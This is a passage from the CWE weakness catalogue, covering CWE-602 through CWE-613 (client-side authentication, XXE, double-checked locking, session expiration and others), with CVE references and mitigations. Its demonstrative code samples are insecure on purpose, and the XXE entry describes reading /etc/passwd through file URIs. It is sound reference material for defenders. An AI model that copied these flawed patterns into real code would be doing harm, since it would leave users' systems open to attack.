        $res = UpdateDatabaseRecord($username, "address", $args);
        writeSocket($sock, "SUCCESS\n");
    }
    else {
        writeSocket($sock, "FAILURE -- address is malformed\n");
    }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Observed Examples

Reference	Description
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6994*
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0163*
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0164*
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0100*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Research Gap

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
162	Manipulating Hidden Fields
202	Create Malicious Client
207	Removing Important Client Functionality
208	Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements
383	Harvesting Information via API Event Monitoring
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-603: Use of Client-Side Authentication

Weakness ID : 603 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ChildOf	B	602	Client-Side Enforcement of Server-Side Security	1200
PeerOf	C	300	Channel Accessible by Non-Endpoint	663

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Do not rely on client side data. Always perform server side authentication.

Observed Examples

Reference	Description
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0230*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Notes

Maintenance

Note that there is a close relationship between this weakness and CWE-656 (Reliance on Security through Obscurity). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-605: Multiple Binds to the Same Port

Weakness ID : 605 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Extended Description

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1298
ChildOf		675	Duplicate Operations on Resource	1316

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data *Packets from a variety of network services may be stolen or the services spoofed.*	

Potential Mitigations

Phase: Policy

Restrict server socket address to known local addresses.

Demonstrative Examples

Example 1:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C *(bad)*

```
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	1937

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP32		Multiple binds to the same port

CWE-606: Unchecked Input for Loop Condition

Weakness ID : 606 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	1837
CanPrecede	C	834	Excessive Iteration	1544

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
void iterate(int n){
    int i;
    for (i = 0; i < n; i++){
        foo();
    }
}
void iterateFoo()
{
    unsigned int num;
    scanf("%u",&num);
```

```
    iterate(num);
}
```

Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable
OMG ASCSM	ASCSM-CWE-606		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-607: Public Static Final Field References Mutable Object

Weakness ID : 607 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	999

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Demonstrative Examples

Example 1:

Here, an array (which is inherently mutable) is labeled public static final.

Example Language: Java *(bad)*

```
public static final String[] USER_ROLES;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID : 608 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java *(bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // variables for registration form
    public String name;
    public String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Example Language: Java *(good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-609: Double-Checked Locking

Weakness ID : 609 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299
CanPrecede	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

Demonstrative Examples

Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(bad)*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: *(bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	1906
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	1988

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK10-J		Do not use incorrect forms of the double-checked locking idiom
Software Fault Patterns	SFP19		Missing Lock

References

[REF-490]David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". < http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html >.

[REF-491]Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". < http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID : 610 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	125
ParentOf		384	Session Fixation	839
ParentOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	950
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	996
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1195
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1215

Nature	Type	ID	Name	Page
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	844

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		384	Session Fixation	839
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1195
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1215
ParentOf	B	918	Server-Side Request Forgery (SSRF)	1599
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1631

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks

CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID : 611 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	610	Externally Controlled Reference to a Resource in Another Sphere	1213
PeerOf	B	441	Unintended Proxy or Intermediary ('Confused Deputy')	950

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	B	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

XXE : XXE is an acronym used for the term "XML eXternal Entities"

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Integrity	Bypass Protection Mechanism *The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.*	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *The software could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.*	

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

Observed Examples

Reference	Description
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1306*
CVE-2012-5656	XXE during SVG image conversion *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5656*
CVE-2012-2239	XXE in PHP application allows reading the application's configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2239*
CVE-2012-3489	XXE in database server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489*
CVE-2012-4399	XXE in rapid web application development framework allows reading arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4399*
CVE-2012-3363	XXE via XML-RPC request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3363*
CVE-2012-0037	XXE in office document product using RDF. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0037*
CVE-2011-4107	XXE in web-based administration tool for database. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4107*
CVE-2010-3322	XXE in product that performs large-scale data analysis. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3322*

Reference	Description
CVE-2009-1699	XXE in XSL stylesheet functionality in a common library used by some web browsers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1699*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	1976
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	43		XML External Entities
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
221	XML External Entities Blowup

References

[REF-496]OWASP. "XML External Entity (XXE) Processing". < https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing >.

[REF-497]Sascha Herzog. "XML External Entity Attacks (XXE)". 2010 October 0. < https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf >.

[REF-498]Gregory Steuck. "XXE (Xml eXternal Entity) Attack". < http://www.securiteam.com/securitynews/6D0100A5PU.html >.

[REF-499]WASC. "XML External Entities (XXE) Attack". < http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities >.

[REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < http://msdn.microsoft.com/en-us/magazine/ee335713.aspx >.

[REF-501]Chris Cornutt. "Preventing XXE in PHP". < http://websec.io/2012/08/27/Preventing-XXE-in-PHP.html >.

CWE-612: Improper Authorization of Index Containing Sensitive Information

Weakness ID : 612 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.

Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1230	Exposure of Sensitive Information Through Metadata	1746

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Research Gap

This weakness is probably under-studied and under-reported

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	48		Insecure Indexing

References

[REF-1050]WASC. "Insecure Indexing". < http://projects.webappsec.org/w/page/13246937/Insecure%20Indexing >.

CWE-613: Insufficient Session Expiration

Weakness ID : 613 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	672	Operation on a Resource after Expiration or Release	1310
CanPrecede	G	287	Improper Authentication	630

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	G	672	Operation on a Resource after Expiration or Release	1310

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2016

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Set sessions/credentials expiration date.

Demonstrative Examples

Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Example Language: Java *(bad)*

```
<web-app>
   [...snipped...]
   <session-config>
      <session-timeout>-1</session-timeout>
   </session-config>
</web-app>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Notes

Other

